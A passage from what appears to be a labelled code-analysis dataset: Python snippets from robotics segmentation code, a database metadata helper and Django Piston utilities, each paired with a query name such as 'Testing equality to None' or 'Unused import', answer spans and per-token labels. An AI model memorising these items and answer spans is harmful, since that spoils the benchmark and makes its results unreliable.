"(_", "hull", "\\u", "points_", ")_", ",_", "'", "hull", "\\u", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Revers", "e", " ", "order", " ", "of", " ", "points", ",", " ", "to", " ", "match", " ", "output", " ", "from", " ", "other", " ", "qh", "ull", " ", "implementation", "s_", "\\u\\u\\uNL\\u\\u\\u_", "hull", "\\u", "points_", "=_", "hull", "\\u", "points_", "[_", ":_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'", "Conve", "x", " ", "hull", " ", "points", ":", " ", "\\\\", "n", "',", " ", "hull", "\\u", "points", ",", " ", "\"\\\\", "n", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fin", "d", " ", "minim", "um", " ", "area", " ", "bound", "ing", " ", "rectangle_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "rot", "\\u", "angle_", ",_", "rect", "Area_", ",_", "rect", "Depth_", ",_", "rect", "Width_", ",_", "center", "\\u", "point_", ",_", "corn", "er", "\\u", "points", "\\u", "ground_", ")_", "=_", "min", "\\u", "bound", "ing", "\\u", "rect_", "._", "min", "Bound", "ing", "Rect_", "(_", "hull", "\\u", "points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vis_", "._", "update", "Poly", "Data_", "(_", "get", "2", "DA", "s", "Poly", "Data_", "(_", "corn", "er", "\\u", "points", "\\u", "ground_", ")_", ",_", "'", "corn", "er", "\\u", "points", "\\u", "ground", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data", "Centro", "id_", "=_", "compute", "Centro", "id_", "(_", "poly", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "corn", "er", "Points_", "=_", "np_", "._", "vstack_", "(_", "(_", "corn", "er", "\\u", "points", "\\u", "ground_", "._", "T_", ",_", "poly", "Data", "Centro", "id_", "[_", "2_", "]_", "*_", "np_", "._", "ones_", "(_", "corn", "er", "\\u", "points", "\\u", "ground_", "._", "shape_", "[_", "0_", "]_", ")_", ")_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "corn", "er", "Poly", "Data_", "=_", "vtk", "Num", "py_", "._", "get", "Vt", "k", "Poly", "Data", "Fro", "m", "Num", "py", "Points_", "(_", "corn", "er", "Points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "frame", " ", "at", " ", "the", " ", "far", " ", "right", " ", "point", " ", "-", " ", "whi", "ch", " ", "points", " ", "awa", "y", " ", "from", " ", "the", " ", "robot_", "\\u\\u\\uNL\\u\\u\\u_", "far", "Rig", "ht", "Corner", "_", "=_", "find", "Far", "Rig", "ht", "Corner", "_", "(_", "corn", "er", "Poly", "Data_", ",_", "link", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "Direction_", "=_", "Segmentation", "Context_", "._", "get", "Global", "Instance_", "(_", ")_", "._", "get", "View", "Direction_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Frame_", "=_", "Segmentation", "Context_", "._", "get", "Global", "Instance_", "(_", ")_", "._", "get", "View", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "vis", ".", "show", "Frame", "(", "view", "Frame", ",", " ", "\"", "view", "Frame", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "robot", "Ya", "w_", "=_", "math_", "._", "atan2_", "(_", "view", "Direction_", "[_", "1_", "]_", ",_", "view", "Direction_", "[_", "0_", "]_", ")_", "*_", "180.0_", "/_", "np_", "._", "pi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block", "Angle_", "=_", "rot", "\\u", "angle_", "*_", "(_", "180_", "/_", "math_", "._", "pi_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "robot", "Ya", "w", " ", " ", " ", "\",", " ", "robot", "Ya", "w_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "block", "Ang", "le", " ", "\",", " ", "block", "Angle_", "\\u\\u\\uNL\\u\\u\\u_", "block", "Ang", "le", "All_", "=_", "np_", "._", "array_", "(_", "[_", "block", "Angle_", ",_", "block", "Angle_", "+_", "90_", ",_", "block", "Angle_", "+_", "180_", ",_", "block", "Angle_", "+_", "270_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "values_", "=_", "block", "Ang", "le", "All_", "-_", "robot", "Ya", "w_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "0_", ",_", "4_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "values_", "[_", "i_", "]_", ">_", "180_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "[_", "i_", "]_", "=_", "values_", "[_", "i_", "]_", "-_", "360_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "=_", "abs_", "(_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "\\u", "idx_", "=_", "np_", "._", "argmin_", "(_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "(_", "min", "\\u", "idx_", "==_", "1_", ")_", "or_", "(_", "min", "\\u", "idx_", "==_", "3_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "flip", " ", "rect", "Dep", "th", " ", "and", " ", "rect", "Wid", "th", " ", "as", " ", "angle", " ", "is", " ", "not", " ", "awa", "y", " ", "from", " ", "robot", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "rect", "Width_", ";_", "rect", "Width_", "=_", "rect", "Depth_", ";_", "rect", "Depth_", "=_", "temp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "best", " ", "angle", "\",", " ", "block", "Ang", "le", "All", "[", "min", "\\u", "idx", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rot", "\\u", "angle_", "=_", "block", "Ang", "le", "All_", "[_", "min", "\\u", "idx_", "]_", "*_", "math_", "._", "pi_", "/_", "180.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "corn", "er", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "far", "Rig", "ht", "Corner", "_", ",_", "[_", "0_", ",_", "0_", ",_", "np_", "._", "rad", "2de", "g_", "(_", "rot", "\\u", "angle_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "show", "Frame_", "(_", "corn", "er", "Transform_", ",_", "\"", "corn", "er", "Transform", "\"_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Mini", "mum", " ", "area", " ", "bound", "ing", " ", "box", ":\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Rot", "ation", " ", "angle", ":\"", ",", " ", "rot", "\\u", "angle", ",", " ", "\"", "rad", " ", " ", "(\"", ",", " ", "rot", "\\u", "angle", "*(", "180", "/", "math", ".", "pi", "),", " ", "\"", "deg", " ", ")\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "rect", "Dep", "th", ":\"", ",", " ", "rect", "Dep", "th", ",", " ", "\"", " ", "rect", "Wid", "th", ":\"", ",", " ", "rect", "Wid", "th", ",", " ", "\"", " ", " ", "Area", ":\"", ",", " ", "rect", "Area_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Center", " ", "point", ":", " ", "\\\\", "n", "\",", " ", "center", "\\u", "point", " ", "#", " ", "nump", "y", " ", "array_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "Corner", " ", "points", ":", " ", "\\\\", "n", "\",", " ", "corn", "er", "Point", "s", ",", " ", "\"\\\\", "n", "\"", " ", " ", "#", " ", "nump", "y", " ", "array_", "\\u\\u\\uNL\\u\\u\\u_", "return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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
AppScale/appscale/AppServer/lib/grizzled/grizzled/db/base.py
[ { "content": " def get_table_metadata(self, table, cursor):\n \"\"\"\n Get the metadata for a table. Returns a list of tuples, one for\n each column. Each tuple consists of the following::\n\n (column_name, type_string, max_char_size, precision, scale, nullable)\n\n The tuple elements have the following meanings.\n\n column_name\n the name of the column\n type_string\n the column type, as a string\n max_char_size\n the maximum size for a character field, or ``None``\n precision\n the precision, for a numeric field; or ``None``\n scale\n the scale, for a numeric field; or ``None``\n nullable\n ``True`` if the column is nullable, ``False`` if it is not\n\n The tuples are named tuples, so the fields may be referenced by the\n names above or by position.\n\n The default implementation uses the DB API's ``cursor.description``\n field. Subclasses are free to override this method to produce their\n own version that uses other means.\n\n :Parameters:\n table : str\n the table name for which metadata is desired\n cursor : Cursor\n a ``Cursor`` object from a recent query\n\n :rtype: list\n :return: list of tuples, as described above\n\n :raise Warning: Non-fatal warning\n :raise Error: Error\n \"\"\"\n self._ensure_valid_table(cursor, table)\n dbi = self.get_import()\n cursor.execute('SELECT * FROM %s WHERE 1=0' % table)\n result = []\n for col in cursor.description:\n name = col[0]\n type = col[1]\n size = col[2]\n internalSize = col[3]\n precision = col[4]\n scale = col[5]\n nullable = col[6]\n\n sType = None\n try:\n if type == dbi.BINARY:\n stype = 'blob'\n elif type == dbi.DATETIME:\n stype = 'datetime'\n elif type == dbi.NUMBER:\n stype = 'numeric'\n elif type == dbi.STRING:\n sz = internalSize\n if sz == None:\n sz = size\n elif sz <= 0:\n sz = size\n\n if sz == 1:\n stype = 'char'\n else:\n stype = 'varchar'\n size = sz\n elif type == dbi.ROWID:\n stype = 'id'\n except AttributeError:\n stype = None\n\n if not sType:\n stype = 'unknown (type code=%s)' % str(type)\n\n data = TableMetadata(name, stype, size, precision, scale, nullable)\n result += [data]\n\n return result", "metadata": "root.DBDriver.get_table_metadata", "header": "['class', 'DBDriver', '(', 'object', ')', ':', '___EOS___']", "index": 841 } ]
[ { "span": "sz == None:", "start_line": 905, "start_column": 23, "end_line": 905, "end_column": 33 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "DB", "Driver_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "table", "\\u", "metadata_", "(_", "self_", ",_", "table_", ",_", "cursor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "the", " ", "metadata", " ", "for", " ", "a", " ", "table", ".", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "tuple", "s", ",", " ", "one", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "each", " ", "column", ".", " ", "Ea", "ch", " ", "tuple", " ", "consi", "sts", " ", "of", " ", "the", " ", "follow", "ing", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "(", "column", "\\u", "name", ",", " ", "type", "\\u", "string", ",", " ", "max", "\\u", "char", "\\u", "size", ",", " ", "preci", "sion", ",", " ", "scale", ",", " ", "null", "able", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "tuple", " ", "element", "s", " ", "have", " ", "the", " ", "follow", "ing", " ", "meaning", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "column", "\\u", "name", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "name", " ", "of", " ", "the", " ", "column", "\\", "10", ";", " ", " ", " ", " ", "type", "\\u", "string", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "column", " ", "type", ",", " ", "as", " ", "a", " ", "string", "\\", "10", ";", " ", " ", " ", " ", "max", "\\u", "char", "\\u", "size", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "maxim", "um", " ", "size", " ", "for", " ", "a", " ", "character", " ", "field", ",", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "preci", "sion", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "preci", "sion", ",", " ", "for", " ", "a", " ", "numeri", "c", " ", "field", ";", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "scale", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "scale", ",", " ", "for", " ", "a", " ", "numeri", "c", " ", "field", ";", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "null", "able", "\\", "10", ";", " ", " ", " ", " ", "``", "Tru", "e", "``", " ", "if", " ", "the", " ", "column", " ", "is", " ", "null", "able", ",", " ", "``", "Fal", "se", "``", " ", "if", " ", "it", " ", "is", " ", "not", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "tuple", "s", " ", "are", " ", "named", " ", "tuple", "s", ",", " ", "so", " ", "the", " ", "fields", " ", "may", " ", "be", " ", "referenced", " ", "by", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "names", " ", "above", " ", "or", " ", "by", " ", "position", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "default", " ", "implementation", " ", "use", "s", " ", "the", " ", "DB", " ", "API", "'", "s", " ", "``", "cursor", ".", "description", "``", "\\", "10", ";", " ", " ", " ", " ", "field", ".", " ", "Subc", "lasse", "s", " ", "are", " ", "free", " ", "to", " ", "override", " ", "this", " ", "method", " ", "to", " ", "produce", " ", "thei", "r", "\\", "10", ";", " ", " ", " ", " ", "own", " ", "version", " ", "tha", "t", " ", "use", "s", " ", "other", " ", "means", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "Parameter", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "table", " ", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "table", " ", "name", " ", "for", " ", "whi", "ch", " ", "metadata", " ", "is", " ", "desi", "red", "\\", "10", ";", " ", " ", " ", " ", "cursor", " ", ":", " ", "Curs", "or", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "``", "Curs", "or", "``", " ", "object", " ", "from", " ", "a", " ", "recent", " ", "query", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "list", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "list", " ", "of", " ", "tuple", "s", ",", " ", "as", " ", "descri", "bed", " ", "above", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", " ", "Warn", "ing", ":", " ", "Non", "-", "fat", "al", " ", "warn", "ing", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", " ", "Error", ":", " ", " ", " ", "Error", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "ensure", "\\u", "valid", "\\u", "table_", "(_", "cursor_", ",_", "table_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbi", "_", "=_", "self_", "._", "get", "\\u", "import_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cursor_", "._", "execute_", "(_", "'", "SELECT", " ", "*", " ", "FROM", " ", "%", "s", " ", "WHE", "RE", " ", "1", "=", "0", "'_", "%_", "table_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "col_", "in_", "cursor_", "._", "description_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "col_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type_", "=_", "col_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "col_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "internal", "Size_", "=_", "col_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "precision_", "=_", "col_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scale_", "=_", "col_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nullable_", "=_", "col_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s", "Type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "==_", "dbi", "_", "._", "BINARY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "blob", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "DATETIME", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "datetime", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "NUMBER_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "numeri", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "STRING_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sz_", "=_", "internal", "Size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sz_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sz_", "=_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sz_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sz_", "=_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sz_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stype_", "=_", "'", "char", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stype_", "=_", "'", "var", "char", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "size_", "=_", "sz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "ROW", "ID_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "id", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stype_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "s", "Type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stype_", "=_", "'", "unknown", " ", "(", "type", " ", "code", "=", "%", "s", ")'_", "%_", "str_", "(_", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "Table", "Metadata_", "(_", "name_", ",_", "stype_", ",_", "size_", ",_", "precision_", ",_", "scale_", ",_", "nullable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "+=_", "[_", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dgraziotin/dycapo/piston/utils.py
[ { "content": "import time\nfrom django.http import HttpResponseNotAllowed, HttpResponseForbidden, HttpResponse, HttpResponseBadRequest\nfrom django.core.urlresolvers import reverse\nfrom django.core.cache import cache\nfrom django import get_version as django_version\nfrom django.core.mail import send_mail, mail_admins\nfrom django.conf import settings\nfrom django.utils.translation import ugettext as _\nfrom django.template import loader, TemplateDoesNotExist\nfrom django.contrib.sites.models import Site\nfrom decorator import decorator\n\nfrom datetime import datetime, timedelta\n\n__version__ = '0.2.3rc1'\n\n\n\n \nrc = rc_factory()\n \n\n\n\n\n\n\n\n\n \n\nrequire_extended = require_mime('json', 'yaml', 'xml', 'pickle')\n \n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_version():\n return __version__", "metadata": "root.get_version", "header": "['module', '___EOS___']", "index": 16 }, { "content": "def format_error(error):\n return u\"Piston/%s (Django %s) crash report:\\n\\n%s\" % \\\n (get_version(), django_version(), error)", "metadata": "root.format_error", "header": "['module', '___EOS___']", "index": 19 }, { "content": "class rc_factory(object):\n \"\"\"\n Status codes.\n \"\"\"\n CODES = dict(ALL_OK = ('OK', 200),\n CREATED = ('Created', 201),\n DELETED = ('', 204), # 204 says \"Don't send a body!\"\n BAD_REQUEST = ('Bad Request', 400),\n FORBIDDEN = ('Forbidden', 401),\n NOT_FOUND = ('Not Found', 404),\n DUPLICATE_ENTRY = ('Conflict/Duplicate', 409),\n NOT_HERE = ('Gone', 410),\n INTERNAL_ERROR = ('Internal Error', 500),\n NOT_IMPLEMENTED = ('Not Implemented', 501),\n THROTTLED = ('Throttled', 503))\n", "metadata": "root.rc_factory", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def __getattr__(self, attr):\n \"\"\"\n Returns a fresh `HttpResponse` when getting \n an \"attribute\". This is backwards compatible\n with 0.2, which is important.\n \"\"\"\n try:\n (r, c) = self.CODES.get(attr)\n except TypeError:\n raise AttributeError(attr)\n\n class HttpResponseWrapper(HttpResponse):\n \"\"\"\n Wrap HttpResponse and make sure that the internal _is_string \n flag is updated when the _set_content method (via the content \n property) is called\n \"\"\"\n def _set_content(self, content):\n \"\"\"\n Set the _container and _is_string properties based on the \n type of the value parameter. This logic is in the construtor\n for HttpResponse, but doesn't get repeated when setting \n HttpResponse.content although this bug report (feature request)\n suggests that it should: http://code.djangoproject.com/ticket/9403 \n \"\"\"\n if not isinstance(content, basestring) and hasattr(content, '__iter__'):\n self._container = content\n self._is_string = False\n else:\n self._container = [content]\n self._is_string = True\n\n content = property(HttpResponse._get_content, _set_content) \n\n return HttpResponseWrapper(r, content_type='text/plain', status=c)", "metadata": "root.rc_factory.__getattr__", "header": "['class', 'rc_factory', '(', 'object', ')', ':', '___EOS___']", "index": 39 }, { "content": "class FormValidationError(Exception):", "metadata": "root.FormValidationError", "header": "['module', '___EOS___']", "index": 77 }, { "content": " def __init__(self, form):\n self.form = form", "metadata": "root.FormValidationError.__init__", "header": "['class', 'FormValidationError', '(', 'Exception', ')', ':', '___EOS___']", "index": 78 }, { "content": "class HttpStatusCode(Exception):", "metadata": "root.HttpStatusCode", "header": "['module', '___EOS___']", "index": 81 }, { "content": " def __init__(self, response):\n self.response = response", "metadata": "root.HttpStatusCode.__init__", "header": "['class', 'HttpStatusCode', '(', 'Exception', ')', ':', '___EOS___']", "index": 82 }, { "content": "def validate(v_form, operation='POST'):\n @decorator\n def wrap(f, self, request, *a, **kwa):\n form = v_form(getattr(request, operation))\n \n if form.is_valid():\n setattr(request, 'form', form)\n return f(self, request, *a, **kwa)\n else:\n raise FormValidationError(form)\n return wrap", "metadata": "root.validate", "header": "['module', '___EOS___']", "index": 85 }, { "content": "def throttle(max_requests, timeout=60*60, extra=''):\n \"\"\"\n Simple throttling decorator, caches\n the amount of requests made in cache.\n \n If used on a view where users are required to\n log in, the username is used, otherwise the\n IP address of the originating request is used.\n \n Parameters::\n - `max_requests`: The maximum number of requests\n - `timeout`: The timeout for the cache entry (default: 1 hour)\n \"\"\"\n @decorator\n def wrap(f, self, request, *args, **kwargs):\n if request.user.is_authenticated():\n ident = request.user.username\n else:\n ident = request.META.get('REMOTE_ADDR', None)\n \n if hasattr(request, 'throttle_extra'):\n \"\"\"\n Since we want to be able to throttle on a per-\n application basis, it's important that we realize\n that `throttle_extra` might be set on the request\n object. If so, append the identifier name with it.\n \"\"\"\n ident += ':%s' % str(request.throttle_extra)\n \n if ident:\n \"\"\"\n Preferrably we'd use incr/decr here, since they're\n atomic in memcached, but it's in django-trunk so we\n can't use it yet. If someone sees this 